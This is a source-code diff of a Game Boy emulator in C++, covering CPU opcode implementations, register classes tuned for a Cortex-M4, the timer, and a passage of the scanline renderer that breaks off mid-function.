void CPU::opcode_CB_E7() { opcode_set(4, a); }
void CPU::opcode_CB_E8() { opcode_set(5, b); }
void CPU::opcode_CB_E9() { opcode_set(5, c); }
void CPU::opcode_CB_EA() { opcode_set(5, d); }
void CPU::opcode_CB_EB() { opcode_set(5, e); }
void CPU::opcode_CB_EC() { opcode_set(5, h); }
void CPU::opcode_CB_ED() { opcode_set(5, l); }
void CPU::opcode_CB_EE() { opcode_set(5, Address(hl)); }
void CPU::opcode_CB_EF() { opcode_set(5, a); }
void CPU::opcode_CB_F0() { opcode_set(6, b); }
void CPU::opcode_CB_F1() { opcode_set(6, c); }
void CPU::opcode_CB_F2() { opcode_set(6, d); }
void CPU::opcode_CB_F3() { opcode_set(6, e); }
void CPU::opcode_CB_F4() { opcode_set(6, h); }
void CPU::opcode_CB_F5() { opcode_set(6, l); }
void CPU::opcode_CB_F6() { opcode_set(6, Address(hl)); }
void CPU::opcode_CB_F7() { opcode_set(6, a); }
void CPU::opcode_CB_F8() { opcode_set(7, b); }
void CPU::opcode_CB_F9() { opcode_set(7, c); }
void CPU::opcode_CB_FA() { opcode_set(7, d); }
void CPU::opcode_CB_FB() { opcode_set(7, e); }
void CPU::opcode_CB_FC() { opcode_set(7, h); }
void CPU::opcode_CB_FD() { opcode_set(7, l); }
void CPU::opcode_CB_FE() { opcode_set(7, Address(hl)); }
void CPU::opcode_CB_FF() { opcode_set(7, a); }
+897
View File
@@ -0,0 +1,897 @@
#include "cpu.h"
#include "gameboy.h"
#include "bitwise.h"
using bitwise::check_bit;
using bitwise::clear_bit;
using bitwise::set_bit;
/* ADC */
void CPU::_opcode_adc(u8 value) {
u8 reg = a.value();
u8 carry = f.flag_carry_value();
uint result_full = reg + value + carry;
u8 result = static_cast<u8>(result_full);
set_flag_zero(result == 0);
set_flag_subtract(false);
set_flag_half_carry(((reg & 0xf) + (value & 0xf) + carry) > 0xf);
set_flag_carry(result_full > 0xff);
a.set(result);
}
void CPU::opcode_adc() {
_opcode_adc(get_byte_from_pc());
}
void CPU::opcode_adc(const ByteRegister& reg) {
_opcode_adc(reg.value());
}
void CPU::opcode_adc(const Address&& addr) {
_opcode_adc(gb.mmu.read(addr));
}
/* ADD */
void CPU::_opcode_add(u8 reg, u8 value) {
uint result = reg + value;
a.set(static_cast<u8>(result));
set_flag_zero(a.value() == 0);
set_flag_subtract(false);
set_flag_half_carry((reg & 0xf) + (value & 0xf) > 0xf);
set_flag_carry((result & 0x100) != 0);
}
void CPU::opcode_add_a() {
_opcode_add(a.value(), get_byte_from_pc());
}
void CPU::opcode_add_a(const ByteRegister& reg) {
_opcode_add(a.value(), reg.value());
}
void CPU::opcode_add_a(const Address& addr) {
_opcode_add(a.value(), gb.mmu.read(addr));
}
void CPU::_opcode_add_hl(u16 value) {
u16 reg = hl.value();
uint result = reg + value;
set_flag_subtract(false);
set_flag_half_carry((reg & 0xfff) + (value & 0xfff) > 0xfff);
set_flag_carry((result & 0x10000) != 0);
hl.set(static_cast<u16>(result));
}
void CPU::opcode_add_hl(const RegisterPair& reg_pair) {
_opcode_add_hl(reg_pair.value());
}
void CPU::opcode_add_hl(const WordRegister& word_reg) {
_opcode_add_hl(word_reg.value());
}
void CPU::opcode_add_sp() {
u16 reg = sp.value();
s8 value = get_signed_byte_from_pc();
int result = static_cast<int>(reg + value);
set_flag_zero(false);
set_flag_subtract(false);
set_flag_half_carry(((reg ^ value ^ (result & 0xFFFF)) & 0x10) == 0x10);
set_flag_carry(((reg ^ value ^ (result & 0xFFFF)) & 0x100) == 0x100);
sp.set(static_cast<u16>(result));
}
/* AND */
void CPU::_opcode_and(u8 value) {
u8 reg = a.value();
u8 result = reg & value;
a.set(result);
set_flag_zero(a.value() == 0);
set_flag_half_carry(true);
set_flag_carry(false);
set_flag_subtract(false);
}
void CPU::opcode_and() {
_opcode_and(get_byte_from_pc());
}
void CPU::opcode_and(ByteRegister& reg) {
_opcode_and(reg.value());
}
void CPU::opcode_and(Address&& addr) {
_opcode_and(gb.mmu.read(addr));
}
/* BIT */
void CPU::_opcode_bit(const u8 bit, const u8 value) {
set_flag_zero(!check_bit(value, bit));
set_flag_subtract(false);
set_flag_half_carry(true);
}
void CPU::opcode_bit(const u8 bit, ByteRegister& reg) {
_opcode_bit(bit, reg.value());
}
void CPU::opcode_bit(const u8 bit, Address&& addr) {
_opcode_bit(bit, gb.mmu.read(addr));
}
/* CALL */
void CPU::opcode_call() {
u16 address = get_word_from_pc();
stack_push(pc);
pc.set(address);
}
void CPU::opcode_call(Condition condition) {
if (is_condition(condition)) {
opcode_call();
} else {
/* Consume unused word argument */
get_word_from_pc();
}
}
/* CCF */
void CPU::opcode_ccf() {
set_flag_subtract(false);
set_flag_half_carry(false);
set_flag_carry(!f.flag_carry());
}
/* CP */
void CPU::_opcode_cp(const u8 value) {
u8 reg = a.value();
u8 result = static_cast<u8>(reg - value);
set_flag_zero(result == 0);
set_flag_subtract(true);
set_flag_half_carry(((reg & 0xf) - (value & 0xf)) < 0);
set_flag_carry(reg < value);
}
void CPU::opcode_cp() {
_opcode_cp(get_byte_from_pc());
}
void CPU::opcode_cp(const ByteRegister& reg) {
_opcode_cp(reg.value());
}
void CPU::opcode_cp(const Address& addr) {
_opcode_cp(gb.mmu.read(addr));
}
/* CPL */
void CPU::opcode_cpl() {
u8 reg = a.value();
u8 result = ~reg;
a.set(result);
set_flag_subtract(true);
set_flag_half_carry(true);
}
/* DAA */
void CPU::opcode_daa() {
u8 reg = a.value();
u16 correction = f.flag_carry()
? 0x60
: 0x00;
if (f.flag_half_carry() || (!f.flag_subtract() && ((reg & 0x0F) > 9))) {
correction |= 0x06;
}
if (f.flag_carry() || (!f.flag_subtract() && (reg > 0x99))) {
correction |= 0x60;
}
if (f.flag_subtract()) {
reg = static_cast<u8>(reg - correction);
} else {
reg = static_cast<u8>(reg + correction);
}
if (((correction << 2) & 0x100) != 0) {
set_flag_carry(true);
}
set_flag_half_carry(false);
set_flag_zero(reg == 0);
a.set(static_cast<u8>(reg));
}
/* DEC */
void CPU::opcode_dec(ByteRegister& reg) {
reg.decrement();
set_flag_zero(reg.value() == 0);
set_flag_subtract(true);
set_flag_half_carry((reg.value() & 0x0F) == 0x0F);
}
void CPU::opcode_dec(RegisterPair& reg) {
reg.decrement();
}
void CPU::opcode_dec(WordRegister& reg) {
reg.decrement();
}
void CPU::opcode_dec(Address&& addr) {
u8 value = gb.mmu.read(addr);
u8 result = static_cast<u8>(value - 1);
gb.mmu.write(addr, result);
set_flag_zero(result == 0);
set_flag_subtract(true);
set_flag_half_carry((result & 0x0F) == 0x0F);
}
/* DI */
void CPU::opcode_di() {
interrupts_enabled = false;
}
/* EI */
void CPU::opcode_ei() {
interrupts_enabled = true;
}
/* INC */
void CPU::opcode_inc(ByteRegister& reg) {
reg.increment();
set_flag_zero(reg.value() == 0);
set_flag_subtract(false);
set_flag_half_carry((reg.value() & 0x0F) == 0x00);
}
void CPU::opcode_inc(RegisterPair& reg) {
reg.increment();
}
void CPU::opcode_inc(WordRegister& reg) {
reg.increment();
}
void CPU::opcode_inc(Address&& addr) {
u8 value = gb.mmu.read(addr);
u8 result = static_cast<u8>(value + 1);
gb.mmu.write(addr, result);
set_flag_zero(result == 0);
set_flag_subtract(false);
set_flag_half_carry((result & 0x0F) == 0x00);
}
/* JP */
void CPU::opcode_jp() {
u16 address = get_word_from_pc();
pc.set(address);
}
void CPU::opcode_jp(Condition condition) {
if (is_condition(condition)) {
opcode_jp();
} else {
/* Consume unused word argument */
get_word_from_pc();
}
}
void CPU::opcode_jp(const Address& addr) {
unused(addr);
pc.set(hl.value());
}
/* JR */
void CPU::opcode_jr() {
s8 offset = get_signed_byte_from_pc();
u16 old_pc = pc.value();
u16 new_pc = static_cast<u16>(old_pc + offset);
pc.set(new_pc);
}
void CPU::opcode_jr(Condition condition) {
if (is_condition(condition)) {
opcode_jr();
} else {
/* Consume unused argument */
get_signed_byte_from_pc();
}
}
/* HALT */
void CPU::opcode_halt() {
halted = true;
}
/* LD */
void CPU::opcode_ld(ByteRegister& reg) {
u8 n = get_byte_from_pc();
reg.set(n);
}
void CPU::opcode_ld(ByteRegister& reg, const ByteRegister& byte_reg) {
reg.set(byte_reg.value());
}
void CPU::opcode_ld(ByteRegister& reg, const Address& address) {
reg.set(gb.mmu.read(address));
}
void CPU::opcode_ld_from_addr(ByteRegister& reg) {
u16 nn = get_word_from_pc();
reg.set(gb.mmu.read(nn));
}
void CPU::opcode_ld(RegisterPair& reg) {
u16 nn = get_word_from_pc();
reg.set(nn);
}
void CPU::opcode_ld(WordRegister& reg) {
u16 nn = get_word_from_pc();
reg.set(nn);
}
void CPU::opcode_ld(WordRegister& reg, const RegisterPair& reg_pair) {
reg.set(reg_pair.value());
}
void CPU::opcode_ld(const Address& address) {
u8 n = get_byte_from_pc();
gb.mmu.write(address, n);
}
void CPU::opcode_ld(const Address& address, const ByteRegister& byte_reg) {
gb.mmu.write(address, byte_reg.value());
}
void CPU::opcode_ld(const Address& address, const WordRegister& word_reg) {
gb.mmu.write(address, word_reg.low());
gb.mmu.write(address + 1, word_reg.high());
}
void CPU::opcode_ld_to_addr(const ByteRegister &reg) {
u16 address = get_word_from_pc();
gb.mmu.write(Address(address), reg.value());
}
/* LDD */
void CPU::opcode_ldd(ByteRegister& reg, const Address& address) {
reg.set(gb.mmu.read(address));
hl.decrement();
}
void CPU::opcode_ldd(const Address& address, const ByteRegister& reg) {
gb.mmu.write(address, reg.value());
hl.decrement();
}
/* LDH */
void CPU::opcode_ldh_into_a() {
u8 offset = get_byte_from_pc();
auto address = Address(0xFF00 + offset);
u8 value = gb.mmu.read(address);
a.set(value);
}
void CPU::opcode_ldh_into_data() {
u8 offset = get_byte_from_pc();
auto address = Address(0xFF00 + offset);
gb.mmu.write(address, a.value());
}
void CPU::opcode_ldh_into_c() {
u8 offset = c.value();
auto address = Address(0xFF00 + offset);
gb.mmu.write(address, a.value());
}
void CPU::opcode_ldh_c_into_a() {
auto address = Address(0xFF00 + c.value());
a.set(gb.mmu.read(address));
}
/* LDHL */
void CPU::opcode_ldhl() {
u16 reg = sp.value();
s8 value = get_signed_byte_from_pc();
int result = static_cast<int>(reg + value);
set_flag_zero(false);
set_flag_subtract(false);
set_flag_half_carry(((reg ^ value ^ (result & 0xFFFF)) & 0x10) == 0x10);
set_flag_carry(((reg ^ value ^ (result & 0xFFFF)) & 0x100) == 0x100);
hl.set(static_cast<u16>(result));
}
/* LDI */
void CPU::opcode_ldi(ByteRegister& reg, const Address& address) {
reg.set(gb.mmu.read(address));
hl.increment();
}
void CPU::opcode_ldi(const Address& address, const ByteRegister& reg) {
gb.mmu.write(address, reg.value());
hl.increment();
}
/* NOP */
void CPU::opcode_nop() {
/* Do nothing */
}
/* OR */
void CPU::_opcode_or(u8 value) {
u8 reg = a.value();
u8 result = reg | value;
a.set(result);
set_flag_zero(a.value() == 0);
set_flag_half_carry(false);
set_flag_carry(false);
set_flag_subtract(false);
}
void CPU::opcode_or() {
_opcode_or(get_byte_from_pc());
}
void CPU::opcode_or(const ByteRegister& reg) {
_opcode_or(reg.value());
}
void CPU::opcode_or(const Address& addr) {
_opcode_or(gb.mmu.read(addr));
}
/* POP */
void CPU::opcode_pop(RegisterPair& reg) {
stack_pop(reg);
}
/* PUSH */
void CPU::opcode_push(const RegisterPair& reg) {
stack_push(reg);
}
/* RES */
void CPU::opcode_res(const u8 bit, ByteRegister& reg) {
u8 result = clear_bit(reg.value(), bit);
reg.set(result);
}
void CPU::opcode_res(const u8 bit, Address&& addr) {
u8 value = gb.mmu.read(addr);
u8 result = clear_bit(value, bit);
gb.mmu.write(addr, result);
}
/* RET */
void CPU::opcode_ret() {
stack_pop(pc);
}
void CPU::opcode_ret(Condition condition) {
if (is_condition(condition)) {
opcode_ret();
}
}
/* RETI */
void CPU::opcode_reti() {
opcode_ret();
opcode_ei();
}
/* RL */
auto CPU::_opcode_rl(u8 value) -> u8 {
u8 carry = f.flag_carry_value();
bool will_carry = check_bit(value, 7);
set_flag_carry(will_carry);
u8 result = static_cast<u8>(value << 1);
result |= carry;
set_flag_zero(result == 0);
set_flag_subtract(false);
set_flag_half_carry(false);
return result;
}
void CPU::opcode_rla() {
opcode_rl(a);
set_flag_zero(false);
}
void CPU::opcode_rl(ByteRegister& reg) {
u8 result = _opcode_rl(reg.value());
reg.set(result);
}
void CPU::opcode_rl(Address&& addr) {
u8 result = _opcode_rl(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* RLC */
auto CPU::_opcode_rlc(u8 value) -> u8 {
u8 carry_flag = check_bit(value, 7);
u8 truncated_bit = check_bit(value, 7);
u8 result = static_cast<u8>((value << 1) | truncated_bit);
set_flag_carry(carry_flag);
set_flag_zero(result == 0);
set_flag_half_carry(false);
set_flag_subtract(false);
return result;
}
void CPU::opcode_rlca() {
opcode_rlc(a);
set_flag_zero(false);
}
void CPU::opcode_rlc(ByteRegister& reg) {
u8 result = _opcode_rlc(reg.value());
reg.set(result);
}
void CPU::opcode_rlc(Address&& addr) {
u8 result = _opcode_rlc(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* RR */
auto CPU::_opcode_rr(u8 value) -> u8 {
u8 carry = f.flag_carry_value();
bool will_carry = check_bit(value, 0);
set_flag_carry(will_carry);
u8 result = static_cast<u8>(value >> 1);
result |= (carry << 7);
set_flag_zero(result == 0);
set_flag_subtract(false);
set_flag_half_carry(false);
return result;
}
void CPU::opcode_rra() {
opcode_rr(a);
set_flag_zero(false);
}
void CPU::opcode_rr(ByteRegister& reg) {
u8 result = _opcode_rr(reg.value());
reg.set(result);
}
void CPU::opcode_rr(Address&& addr) {
u8 result = _opcode_rr(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* RRC */
auto CPU::_opcode_rrc(u8 value) -> u8 {
u8 carry_flag = check_bit(value, 0);
u8 truncated_bit = check_bit(value, 0);
u8 result = static_cast<u8>((value >> 1) | (truncated_bit << 7));
set_flag_carry(carry_flag);
set_flag_zero(result == 0);
set_flag_half_carry(false);
set_flag_subtract(false);
return result;
}
void CPU::opcode_rrca() {
opcode_rrc(a);
set_flag_zero(false);
}
void CPU::opcode_rrc(ByteRegister& reg) {
u8 result = _opcode_rrc(reg.value());
reg.set(result);
}
void CPU::opcode_rrc(Address&& addr) {
u8 result = _opcode_rrc(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* RST */
void CPU::opcode_rst(const u8 offset) {
stack_push(pc);
pc.set(offset);
}
/* SBC */
void CPU::_opcode_sbc(const u8 value) {
u8 carry = f.flag_carry_value();
u8 reg = a.value();
int result_full = reg - value - carry;
u8 result = static_cast<u8>(result_full);
set_flag_zero(result == 0);
set_flag_subtract(true);
set_flag_carry(result_full < 0);
set_flag_half_carry(((reg & 0xf) - (value & 0xf) - carry) < 0);
a.set(result);
}
void CPU::opcode_sbc() {
_opcode_sbc(get_byte_from_pc());
}
void CPU::opcode_sbc(ByteRegister& reg) {
_opcode_sbc(reg.value());
}
void CPU::opcode_sbc(Address&& addr) {
_opcode_sbc(gb.mmu.read(addr));
}
/* SCF */
void CPU::opcode_scf() {
set_flag_carry(true);
set_flag_half_carry(false);
set_flag_subtract(false);
}
/* SET */
void CPU::opcode_set(const u8 bit, ByteRegister& reg) {
u8 result = set_bit(reg.value(), bit);
reg.set(result);
}
void CPU::opcode_set(const u8 bit, Address&& addr) {
u8 value = gb.mmu.read(addr);
u8 result = set_bit(value, bit);
gb.mmu.write(addr, result);
}
/* SLA */
auto CPU::_opcode_sla(u8 value) -> u8 {
u8 carry_bit = check_bit(value, 7);
u8 result = static_cast<u8>(value << 1);
set_flag_zero(result == 0);
set_flag_carry(carry_bit);
set_flag_half_carry(false);
set_flag_subtract(false);
return result;
}
void CPU::opcode_sla(ByteRegister& reg) {
u8 result = _opcode_sla(reg.value());
reg.set(result);
}
void CPU::opcode_sla(Address&& addr) {
u8 result = _opcode_sla(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* SRA */
auto CPU::_opcode_sra(u8 value) -> u8 {
u8 carry_bit = check_bit(value, 0);
u8 top_bit = check_bit(value, 7);
u8 result = static_cast<u8>(value >> 1);
result = bitwise::set_bit_to(result, 7, top_bit);
set_flag_zero(result == 0);
set_flag_carry(carry_bit);
set_flag_half_carry(false);
set_flag_subtract(false);
return result;
}
void CPU::opcode_sra(ByteRegister& reg) {
u8 result = _opcode_sra(reg.value());
reg.set(result);
}
void CPU::opcode_sra(Address&& addr) {
u8 result = _opcode_sra(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* SRL */
auto CPU::_opcode_srl(u8 value) -> u8 {
bool least_bit_set = check_bit(value, 0);
u8 result = (value >> 1);
set_flag_carry(least_bit_set);
set_flag_zero(result == 0);
set_flag_half_carry(false);
set_flag_subtract(false);
return result;
}
void CPU::opcode_srl(ByteRegister& reg) {
u8 result = _opcode_srl(reg.value());
reg.set(result);
}
void CPU::opcode_srl(Address&& addr) {
u8 result = _opcode_srl(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* STOP */
void CPU::opcode_stop() {
/* halted = true; */
}
/* SUB */
void CPU::_opcode_sub(u8 value) {
u8 reg = a.value();
u8 result = static_cast<u8>(reg - value);
a.set(result);
set_flag_zero(a.value() == 0);
set_flag_subtract(true);
set_flag_half_carry(((reg & 0xf) - (value & 0xf)) < 0);
set_flag_carry(reg < value);
}
void CPU::opcode_sub() {
_opcode_sub(get_byte_from_pc());
}
void CPU::opcode_sub(ByteRegister& reg) {
_opcode_sub(reg.value());
}
void CPU::opcode_sub(Address&& addr) {
_opcode_sub(gb.mmu.read(addr));
}
/* SWAP */
auto CPU::_opcode_swap(u8 value) -> u8 {
using bitwise::compose_nibbles;
u8 lower_nibble = value & 0x0F;
u8 upper_nibble = (value & 0xF0) >> 4;
u8 result = compose_nibbles(lower_nibble, upper_nibble);
set_flag_zero(result == 0);
set_flag_subtract(false);
set_flag_half_carry(false);
set_flag_carry(false);
return result;
}
void CPU::opcode_swap(ByteRegister& reg) {
u8 result = _opcode_swap(reg.value());
reg.set(result);
}
void CPU::opcode_swap(Address&& addr) {
u8 result = _opcode_swap(gb.mmu.read(addr));
gb.mmu.write(addr, result);
}
/* XOR */
void CPU::_opcode_xor(u8 value) {
u8 reg = a.value();
u8 result = reg ^ value;
set_flag_zero(result == 0);
set_flag_subtract(false);
set_flag_half_carry(false);
set_flag_carry(false);
a.set(result);
}
void CPU::opcode_xor() {
_opcode_xor(get_byte_from_pc());
}
void CPU::opcode_xor(const ByteRegister& reg) {
_opcode_xor(reg.value());
}
void CPU::opcode_xor(const Address& addr) {
_opcode_xor(gb.mmu.read(addr));
}
+104
View File
@@ -0,0 +1,104 @@
#pragma once
#include "definitions.h"
/* Devirtualized registers: on the original design every register access was
* a virtual call and every 1-byte register carried an 8-byte vtable pointer.
* On a 64 MHz Cortex-M4 that overhead matters, so everything here is plain
* inline code. The flag register masking (lower nibble always 0) is handled
* by FlagRegister's shadowing set() and by RegisterPair's low_mask. */
class ByteRegister {
public:
ByteRegister() = default;
void set(u8 new_value) { val = new_value; }
void reset() { val = 0; }
auto value() const -> u8 { return val; }
auto check_bit(u8 bit) const -> bool { return (val & (1 << bit)) != 0; }
void set_bit_to(u8 bit, bool set) {
if(set)
val = static_cast<u8>(val | (1 << bit));
else
val = static_cast<u8>(val & ~(1 << bit));
}
void increment() { val++; }
void decrement() { val--; }
auto operator==(u8 other) const -> bool { return val == other; }
protected:
u8 val = 0x0;
};
class FlagRegister : public ByteRegister {
public:
FlagRegister() = default;
/* lower nibble of F is always 0 */
void set(u8 new_value) { val = static_cast<u8>(new_value & 0xF0); }
void set_flag_zero(bool set) { set_bit_to(7, set); }
void set_flag_subtract(bool set) { set_bit_to(6, set); }
void set_flag_half_carry(bool set) { set_bit_to(5, set); }
void set_flag_carry(bool set) { set_bit_to(4, set); }
auto flag_zero() const -> bool { return check_bit(7); }
auto flag_subtract() const -> bool { return check_bit(6); }
auto flag_half_carry() const -> bool { return check_bit(5); }
auto flag_carry() const -> bool { return check_bit(4); }
auto flag_zero_value() const -> u8 { return static_cast<u8>((val >> 7) & 1); }
auto flag_subtract_value() const -> u8 { return static_cast<u8>((val >> 6) & 1); }
auto flag_half_carry_value() const -> u8 { return static_cast<u8>((val >> 5) & 1); }
auto flag_carry_value() const -> u8 { return static_cast<u8>((val >> 4) & 1); }
};
class WordRegister {
public:
WordRegister() = default;
void set(u16 new_value) { val = new_value; }
auto value() const -> u16 { return val; }
auto low() const -> u8 { return static_cast<u8>(val); }
auto high() const -> u8 { return static_cast<u8>(val >> 8); }
void increment() { val++; }
void decrement() { val--; }
private:
u16 val = 0x0;
};
class RegisterPair {
public:
/* mask_low is 0xF0 for AF (F's lower nibble reads/writes as 0) */
RegisterPair(ByteRegister& high, ByteRegister& low, u8 mask_low = 0xFF)
: low_byte(low)
, high_byte(high)
, low_mask(mask_low) {}
void set(u16 word) {
low_byte.set(static_cast<u8>(word & low_mask));
high_byte.set(static_cast<u8>(word >> 8));
}
auto value() const -> u16 {
return static_cast<u16>((high_byte.value() << 8) | (low_byte.value() & low_mask));
}
auto low() const -> u8 { return static_cast<u8>(low_byte.value() & low_mask); }
auto high() const -> u8 { return high_byte.value(); }
void increment() { set(static_cast<u16>(value() + 1)); }
void decrement() { set(static_cast<u16>(value() - 1)); }
private:
ByteRegister& low_byte;
ByteRegister& high_byte;
u8 low_mask;
};
+77
View File
@@ -0,0 +1,77 @@
#include "timer.h"
#include "definitions.h"
#include "gameboy.h"
#include "cpu.h"
#include "bitwise.h"
const uint CLOCKS_PER_CYCLE = 4;
Timer::Timer(Gameboy& _gb) : gb(_gb) {}
void Timer::tick(uint cycles) {
/* DIV increments at 16384 Hz = every 64 M-cycles (upstream incremented
* it once per M-cycle: 64x too fast, breaking games that use DIV for
* delays or randomness) */
div_clocks += cycles;
if(div_clocks >= 64) {
divider.set(static_cast<u8>(divider.value() + (div_clocks >> 6)));
div_clocks &= 63;
}
clocks += cycles * CLOCKS_PER_CYCLE;
auto timer_is_on = timer_control.check_bit(2);
if (timer_is_on == 0) { return; }
auto clock_limit = clocks_needed_to_increment();
if (clocks >= clock_limit) {
clocks = clocks % clock_limit;
u8 old_timer_counter = timer_counter.value();
timer_counter.increment();
if (timer_counter.value() < old_timer_counter) {
gb.cpu.interrupt_flag.set_bit_to(2, true);
timer_counter.set(timer_modulo.value());
}
}
}
auto Timer::get_divider() const -> u8 { return divider.value(); }
auto Timer::get_timer() const -> u8 { return timer_counter.value(); }
auto Timer::get_timer_modulo() const -> u8 { return timer_modulo.value(); }
// Only the bottom three bits of this register are usable
auto Timer::get_timer_control() const -> u8 { return timer_control.value() & 0x3; }
void Timer::reset_divider() {
divider.set(0x0);
}
void Timer::set_timer(u8 value) {
timer_counter.set(value);
}
void Timer::set_timer_modulo(u8 value) {
timer_modulo.set(value);
}
void Timer::set_timer_control(u8 value) {
timer_control.set(value);
}
uint Timer::clocks_needed_to_increment() {
using bitwise::check_bit;
switch (get_timer_control()) {
case 0: return CLOCK_RATE / 4096;
case 1: return CLOCK_RATE / 262144;
case 2: return CLOCK_RATE / 65536;
case 3: return CLOCK_RATE / 16384;
default: return CLOCK_RATE / 4096; /* unreachable */
}
}
+37
View File
@@ -0,0 +1,37 @@
#pragma once
#include "definitions.h"
#include "register.h"
class Gameboy;
class Timer {
public:
Timer(Gameboy& inGb);
void tick(uint cycles);
auto get_divider() const -> u8;
auto get_timer() const -> u8;
auto get_timer_modulo() const -> u8;
auto get_timer_control() const -> u8;
void reset_divider();
void set_timer(u8 value);
void set_timer_modulo(u8 value);
void set_timer_control(u8 value);
private:
uint clocks_needed_to_increment();
uint clocks = 0;
uint div_clocks = 0;
Gameboy& gb;
ByteRegister divider;
ByteRegister timer_counter;
ByteRegister timer_modulo;
ByteRegister timer_control;
};
+353
View File
@@ -0,0 +1,353 @@
#include "video.h"
#include "gameboy.h"
#include "cpu.h"
#include "bitwise.h"
using bitwise::check_bit;
Video::Video(Gameboy& inGb)
: gb(inGb) {
}
void Video::tick(Cycles cycles) {
cycle_counter += cycles.cycles;
switch(current_mode) {
case VideoMode::ACCESS_OAM:
if(cycle_counter >= CLOCKS_PER_SCANLINE_OAM) {
cycle_counter = cycle_counter % CLOCKS_PER_SCANLINE_OAM;
lcd_status.set_bit_to(1, true);
lcd_status.set_bit_to(0, true);
current_mode = VideoMode::ACCESS_VRAM;
}
break;
case VideoMode::ACCESS_VRAM:
if(cycle_counter >= CLOCKS_PER_SCANLINE_VRAM) {
cycle_counter = cycle_counter % CLOCKS_PER_SCANLINE_VRAM;
current_mode = VideoMode::HBLANK;
bool hblank_interrupt = check_bit(lcd_status.value(), 3);
if(hblank_interrupt) {
gb.cpu.interrupt_flag.set_bit_to(1, true);
}
bool ly_coincidence_interrupt = check_bit(lcd_status.value(), 6);
bool ly_coincidence = ly_compare.value() == line.value();
if(ly_coincidence_interrupt && ly_coincidence) {
gb.cpu.interrupt_flag.set_bit_to(1, true);
}
lcd_status.set_bit_to(2, ly_coincidence);
lcd_status.set_bit_to(1, false);
lcd_status.set_bit_to(0, false);
}
break;
case VideoMode::HBLANK:
if(cycle_counter >= CLOCKS_PER_HBLANK) {
if(!skip_render) write_scanline(line.value());
line.increment();
cycle_counter = cycle_counter % CLOCKS_PER_HBLANK;
/* Line 145 (index 144) is the first line of VBLANK */
if(line == 144) {
current_mode = VideoMode::VBLANK;
lcd_status.set_bit_to(1, false);
lcd_status.set_bit_to(0, true);
gb.cpu.interrupt_flag.set_bit_to(0, true);
} else {
lcd_status.set_bit_to(1, true);
lcd_status.set_bit_to(0, false);
current_mode = VideoMode::ACCESS_OAM;
}
}
break;
case VideoMode::VBLANK:
if(cycle_counter >= CLOCKS_PER_SCANLINE) {
line.increment();
cycle_counter = cycle_counter % CLOCKS_PER_SCANLINE;
/* Line 155 (index 154) is the last line */
if(line == 154) {
if(!skip_render) {
write_sprites();
draw();
buffer.reset();
} else {
draw(); /* still notify the frontend for pacing */
}
line.reset();
current_mode = VideoMode::ACCESS_OAM;
lcd_status.set_bit_to(1, true);
lcd_status.set_bit_to(0, false);
};
}
break;
}
}
auto Video::display_enabled() const -> bool {
return check_bit(control_byte, 7);
}
auto Video::window_tile_map() const -> bool {
return check_bit(control_byte, 6);
}
auto Video::window_enabled() const -> bool {
return check_bit(control_byte, 5);
}
auto Video::bg_window_tile_data() const -> bool {
return check_bit(control_byte, 4);
}
auto Video::bg_tile_map_display() const -> bool {
return check_bit(control_byte, 3);
}
auto Video::sprite_size() const -> bool {
return check_bit(control_byte, 2);
}
auto Video::sprites_enabled() const -> bool {
return check_bit(control_byte, 1);
}
auto Video::bg_enabled() const -> bool {
return check_bit(control_byte, 0);
}
void Video::write_scanline(u8 current_line) {
if(!display_enabled()) {
return;
}
/* Lines the frontend never displays are not worth rendering */
if(row_mask && current_line < GAMEBOY_HEIGHT && !row_mask[current_line]) {
return;
}
if(bg_enabled()) {
draw_bg_line(current_line);
}
if(window_enabled()) {
draw_window_line(current_line);
}
}
void Video::write_sprites() {
if(!sprites_enabled()) {
return;
}
for(uint sprite_n = 0; sprite_n < 40; sprite_n++) {
draw_sprite(sprite_n);
}
}
void Video::draw_bg_line(uint current_line) {
/* Note: tileset two uses signed numbering to share half the tiles with
* tileset one */
bool use_tile_set_zero = bg_window_tile_data();
bool use_tile_map_zero = !bg_tile_map_display();
Palette palette = load_palette(bg_palette);
u16 tile_set_address = use_tile_set_zero ? TILE_SET_ZERO_ADDRESS : TILE_SET_ONE_ADDRESS;
u16 tile_map_address = use_tile_map_zero ? TILE_MAP_ZERO_ADDRESS : TILE_MAP_ONE_ADDRESS;
uint screen_y = current_line;
uint scrolled_y = (screen_y + scroll_y.value()) % BG_MAP_SIZE;
uint tile_y = scrolled_y / TILE_HEIGHT_PX;
uint tile_pixel_y = scrolled_y % TILE_HEIGHT_PX;
uint tile_data_line_offset = tile_pixel_y * 2;
/* Render tile-by-tile instead of refetching the tile data for every
* pixel like upstream did */
uint scroll_x_val = scroll_x.value();
uint screen_x = 0;
while(screen_x < GAMEBOY_WIDTH) {
uint scrolled_x = (screen_x + scroll_x_val) % BG_MAP_SIZE;
uint tile_x = scrolled_x / TILE_WIDTH_PX;
uint tile_pixel_x = scrolled_x % TILE_WIDTH_PX;
uint tile_index = tile_y * TILES_PER_LINE + tile_x;
u8 tile_id = video_ram[tile_map_address - 0x8000 + tile_index];
uint tile_data_mem_offset = use_tile_set_zero ?
tile_id * TILE_BYTES :
static_cast<uint>(
(static_cast<s8>(tile_id) + 128)) *
TILE_BYTES;
uint line_addr = (tile_set_address - 0x8000) + tile_data_mem_offset +
tile_data_line_offset;
u8 pixels_1 = video_ram[line_addr];
u8 pixels_2 = video_ram[line_addr + 1];
/* Draw the remainder of this tile's row */
for(uint px = tile_pixel_x; px < TILE_WIDTH_PX && screen_x < GAMEBOY_WIDTH;
px++, screen_x++) {
u8 pixel_color = get_pixel_from_line(pixels_1, pixels_2, static_cast<u8>(px));
buffer.set_pixel(screen_x, screen_y, get_shade_from_palette(pixel_color, palette));
}
}
}
void Video::draw_window_line(uint current_line) {
bool use_tile_set_zero = bg_window_tile_data();
bool use_tile_map_zero = !window_tile_map();
Palette palette = load_palette(bg_palette);
u16 tile_set_address = use_tile_set_zero ? TILE_SET_ZERO_ADDRESS : TILE_SET_ONE_ADDRESS;
u16 tile_map_address = use_tile_map_zero ? TILE_MAP_ZERO_ADDRESS : TILE_MAP_ONE_ADDRESS;
uint screen_y = current_line;
uint scrolled_y = screen_y - window_y.value();
if(scrolled_y >= GAMEBOY_HEIGHT) {
return;
}
